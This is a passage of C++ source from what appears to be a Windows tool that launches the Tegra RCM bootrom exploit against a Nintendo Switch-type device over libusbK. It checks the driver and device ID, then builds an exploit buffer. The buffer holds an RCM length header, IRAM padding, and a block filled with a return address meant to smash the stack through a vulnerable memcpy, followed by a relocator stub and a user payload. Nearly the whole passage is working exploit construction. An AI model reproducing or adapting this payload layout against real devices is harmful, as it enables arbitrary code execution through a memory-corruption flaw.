_ftprintf(stderr,TEXT("Failed to open USB device handle with win32 error %u\n"), errorCode);
return -6;
}
else
_tprintf(TEXT("Opened USB device path %hs\n"), deviceInfo->DevicePath);
RCMDeviceHacker rcmDev(Usb, handle); handle = nullptr;
libusbk::version_t usbkVersion;
memset(&usbkVersion, 0, sizeof(usbkVersion));
const auto versRetVal = rcmDev.getDriverVersion(usbkVersion);
if (versRetVal <= 0)
{
_ftprintf(stderr, TEXT("Failed to get libusbK driver version for device with win32 error %d\n"), -versRetVal);
return -6;
}
else if (usbkVersion.major != 3 || usbkVersion.minor != 0 || usbkVersion.micro != 7)
{
_tprintf(TEXT("The opened device isn't using the correct libusbK driver version (expected: %u.%u.%u got: %u.%u.%u)\n"),
3, 0, 7, usbkVersion.major, usbkVersion.minor, usbkVersion.micro);
_tprintf(TEXT("Please run Zadig and install the libusbK (v3.0.7.0) driver for this device\n"));
_ftprintf(stderr, TEXT("Failed to open USB device handle because of wrong driver version installed\n"));
return -6;
}
u8 didBuf[0x10];
memset(didBuf, 0, sizeof(didBuf));
const auto didRetVal = rcmDev.readDeviceId(didBuf, sizeof(didBuf));
if (didRetVal >= int(sizeof(didBuf)))
{
_tprintf(TEXT("RCM Device with id %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X initialized successfully!\n"),
(u32)didBuf[0],(u32)didBuf[1],(u32)didBuf[2],(u32)didBuf[3],(u32)didBuf[4],(u32)didBuf[5],(u32)didBuf[6],(u32)didBuf[7],
(u32)didBuf[8],(u32)didBuf[9],(u32)didBuf[10],(u32)didBuf[11],(u32)didBuf[12],(u32)didBuf[13],(u32)didBuf[14],(u32)didBuf[15]);
}
else
{
if (didRetVal < 0)
_ftprintf(stderr, TEXT("Reading device id failed with win32 error %d\n"), -didRetVal);
else
_ftprintf(stderr, TEXT("Was only able to read %d out of %d bytes of device id\n"), didRetVal, (int)sizeof(didBuf));
return -7;
}
size_t currPayloadOffs = 0;
ByteVector payloadBuf;
// Prefix the image with an RCM command, so it winds up loaded into memory at the right location (0x40010000).
// Use the maximum length accepted by RCM, so we can transmit as much payload as we want; we'll take over before we get to the end.
{
const u32 lengthData = 0x30298;
payloadBuf.resize(payloadBuf.size() + sizeof(lengthData));
memcpy(&payloadBuf[currPayloadOffs], &lengthData, sizeof(lengthData));
currPayloadOffs += sizeof(lengthData);
}
// pad out to 680 so the payload starts at the right address in IRAM
payloadBuf.resize(680, 0);
currPayloadOffs = payloadBuf.size();
constexpr u32 RCM_PAYLOAD_ADDR = 0x40010000;
if (usingNoMezzo)
{
constexpr size_t bytesToAdd = 0x1a3a * sizeof(u32);
payloadBuf.resize(payloadBuf.size()+bytesToAdd, 0);
currPayloadOffs += bytesToAdd;
assert(currPayloadOffs == payloadBuf.size());
// Reload the user-supplied binary in case it changed
readFileRes = ReadFileToBuf(userFileBuf, TEXT("payload"), inputFilename, 0, 0, false);
if (readFileRes != 0)
return readFileRes;
u32 entry = RCM_PAYLOAD_ADDR + (u32)userFileBuf.size() + sizeof(u32);
entry |= 1; //we want to jump to thumb code
payloadBuf.resize(payloadBuf.size()+sizeof(u32));
memcpy(&payloadBuf[currPayloadOffs], &entry, sizeof(entry));
currPayloadOffs += sizeof(entry);
assert(currPayloadOffs == payloadBuf.size());
}
else
{
constexpr u32 INTERMEZZO_LOCATION = 0x4001F000;
// Populate from[RCM_PAYLOAD_ADDR, INTERMEZZO_LOCATION) with the payload address.
// We'll use this data to smash the stack when we execute the vulnerable memcpy.
{
constexpr size_t bytesToAdd = (INTERMEZZO_LOCATION-RCM_PAYLOAD_ADDR);
payloadBuf.resize(payloadBuf.size()+bytesToAdd);
while (currPayloadOffs < payloadBuf.size())
{
const u32 spreadMeAround = INTERMEZZO_LOCATION;
memcpy(&payloadBuf[currPayloadOffs], &spreadMeAround, sizeof(spreadMeAround));
currPayloadOffs += sizeof(spreadMeAround);
}
}
// Reload the user-supplied relocator in case it changed
if (!usingBuiltinMezzo)
{
readFileRes = ReadFileToBuf(mezzoBuf, TEXT("relocator"), mezzoFilename, 0, 0, false);
if (readFileRes != 0)
return readFileRes;
}
// Include the Intermezzo binary in the command stream. This is our first-stage payload, and it's responsible for relocating the final payload to 0x40010000.
{
payloadBuf.resize(payloadBuf.size()+mezzoBuf.size());
if (currPayloadOffs < payloadBuf.size())
{
memcpy(&payloadBuf[currPayloadOffs], &mezzoBuf[0], mezzoBuf.size());
currPayloadOffs += mezzoBuf.size();
}
assert(currPayloadOffs == payloadBuf.size());
}
constexpr u32 PAYLOAD_LOAD_BLOCK = 0x40020000;
// Finally, pad until we've reached the position we need to put the payload.
// This ensures the payload winds up at the location Intermezzo expects.
{
const auto position = INTERMEZZO_LOCATION + mezzoBuf.size();
const auto paddingSize = PAYLOAD_LOAD_BLOCK - position;
payloadBuf.resize(payloadBuf.size()+paddingSize, 0);
currPayloadOffs += paddingSize;
assert(currPayloadOffs == payloadBuf.size());
}
// Reload the user-supplied binary in case it changed
readFileRes = ReadFileToBuf(userFileBuf, TEXT("payload"), inputFilename, 0, 0, false);
if (readFileRes != 0)
return readFileRes;